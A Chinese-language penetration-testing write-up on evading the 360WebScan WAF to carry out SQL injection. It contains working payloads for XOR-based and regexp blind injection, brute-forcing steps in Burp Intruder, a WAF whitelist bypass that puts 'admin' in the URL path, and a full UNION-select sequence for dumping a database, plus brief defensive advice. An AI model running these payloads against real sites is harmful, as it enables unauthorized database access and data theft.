记一次对WebScan的Bypass
字数 1079 2025-08-18 11:37:42

绕过360WebScan防护的SQL注入技术详解

前言

本文详细分析如何绕过360WebScan防护进行SQL注入的技术方法,仅供安全研究与技术交流使用。请注意,本文涉及的漏洞已被修复,严禁用于非法用途。

一、初始探测与注入点判断

  1. 传统注入测试被拦截

    • and 1=1 被拦截
    • or 也被拦截
  2. 使用按位异或运算(^)绕过

    • 异或运算未被拦截,可以使用xor
    • 基本异或规则:
      • 1^1=0
      • 1^0=1
      • 0^0=0
  3. 测试Payload示例

    xxxnid=216^(1=1)^1
    

二、按位异或运算注入技术详解

1. 判断数据库名称长度

Payload构造

xxxnid=216^(1=(if(1=(length(database())=1),1,0)))^1

爆破方法

  1. 使用Burp Suite的Intruder模块
  2. 将数据库长度值设置为变量
  3. Payload类型设置为Numbers,遍历1-15
  4. 通过响应判断正确长度(本例中为13)

2. 获取数据库名称

技术选择:使用regexp正则注入

正则注入示例

select user() regexp '^[a-z]';  -- 匹配用户名第一位
select user() regexp '^r[a-z]'; -- 匹配用户名第二位

其他可用盲注方法

  • like匹配注入
  • left()函数
  • mid()函数
  • substr()函数

Payload构造

xxxnid=216^(1=if(((database())regexp '^a'),1,0))^1

爆破过程

  1. 使用包含大小写字母、数字和特殊符号的字典
  2. 依次爆破每个字符位置
  3. 注意:必须包含数字,否则可能遗漏关键信息

3. 获取表名

常规Payload示例

select left((select table_name from information_schema.tables where table_schema='test' limit 0,1),1)='u';

构造Payload

xxxnid=216^(1=left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='u')^1

遇到的问题

  • from关键字被拦截
  • 尝试绕过方法:
    • 内联注释
    • 编码
    • 干扰正则
    • 均未成功

三、360WebScan白名单绕过技术

1. 绕过原理

360WebScan内置白名单机制,当URL路径中包含特定关键字(如admin)时会绕过检测。

2. 绕过方法

在URL路径中添加白名单关键字:

xxx/xxx/admin/?nid=216 union select 1,2,3,4,5,6,7,8 -- -

3. 白名单关键字示例

通过分析360WebScan源码,发现包含以下白名单路径:

  • admin
  • 其他管理相关路径(具体可参考源码)

四、完整注入流程

1. 获取当前数据库名称

xxx/xxx/admin/?nid=1 union select database(),2,3,4,5,6,7,8 -- -

2. 获取所有表名

xxx/xxx/admin/?nid=1 union select group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() -- -

3. 获取表字段

xxx/xxx/admin/?nid=1 union select group_concat(column_name),2,3,4,5,6,7,8 from information_schema.columns where table_name='表名' -- -

4. 获取数据内容

xxx/xxx/admin/?nid=1 union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- -

五、关键技巧总结

  1. 异或运算绕过:有效绕过对and/or等关键字的过滤
  2. 可显字段定位
    • 尝试不同页面
    • 将参数ID改为负值
    • 增加union select后的字段数量
  3. 白名单绕过:在路径中添加admin等关键字绕过防护
  4. 爆破注意事项
    • 确保字典包含所有可能字符(字母、数字、符号)
    • 使用Burp Suite等工具自动化爆破过程

六、防御建议

  1. 不要依赖单一WAF防护
  2. 使用参数化查询
  3. 实施最小权限原则
  4. 定期更新安全防护规则
  5. 对管理路径实施额外保护而非豁免

参考资料

  1. 按位异或运算原理
  2. 360webscan绕过原理
  3. 360webscan源码
绕过360WebScan防护的SQL注入技术详解 前言 本文详细分析如何绕过360WebScan防护进行SQL注入的技术方法,仅供安全研究与技术交流使用。请注意,本文涉及的漏洞已被修复,严禁用于非法用途。 一、初始探测与注入点判断 传统注入测试被拦截 and 1=1 被拦截 or 也被拦截 使用按位异或运算(^)绕过 异或运算未被拦截,可以使用 xor 基本异或规则: 1^1=0 1^0=1 0^0=0 测试Payload示例 二、按位异或运算注入技术详解 1. 判断数据库名称长度 Payload构造 : 爆破方法 : 使用Burp Suite的Intruder模块 将数据库长度值设置为变量 Payload类型设置为Numbers,遍历1-15 通过响应判断正确长度(本例中为13) 2. 获取数据库名称 技术选择 :使用regexp正则注入 正则注入示例 : 其他可用盲注方法 : like匹配注入 left()函数 mid()函数 substr()函数 Payload构造 : 爆破过程 : 使用包含大小写字母、数字和特殊符号的字典 依次爆破每个字符位置 注意:必须包含数字,否则可能遗漏关键信息 3. 获取表名 常规Payload示例 : 构造Payload : 遇到的问题 : from 关键字被拦截 尝试绕过方法: 内联注释 编码 干扰正则 均未成功 三、360WebScan白名单绕过技术 1. 绕过原理 360WebScan内置白名单机制,当URL路径中包含特定关键字(如 admin )时会绕过检测。 2. 绕过方法 在URL路径中添加白名单关键字: 3. 白名单关键字示例 通过分析360WebScan源码,发现包含以下白名单路径: admin 其他管理相关路径(具体可参考源码) 四、完整注入流程 1. 获取当前数据库名称 2. 获取所有表名 3. 获取表字段 4. 获取数据内容 五、关键技巧总结 异或运算绕过 :有效绕过对and/or等关键字的过滤 可显字段定位 : 尝试不同页面 将参数ID改为负值 增加union select后的字段数量 白名单绕过 :在路径中添加 admin 等关键字绕过防护 爆破注意事项 : 确保字典包含所有可能字符(字母、数字、符号) 使用Burp Suite等工具自动化爆破过程 六、防御建议 不要依赖单一WAF防护 使用参数化查询 实施最小权限原则 定期更新安全防护规则 对管理路径实施额外保护而非豁免 参考资料 按位异或运算原理 360webscan绕过原理 360webscan源码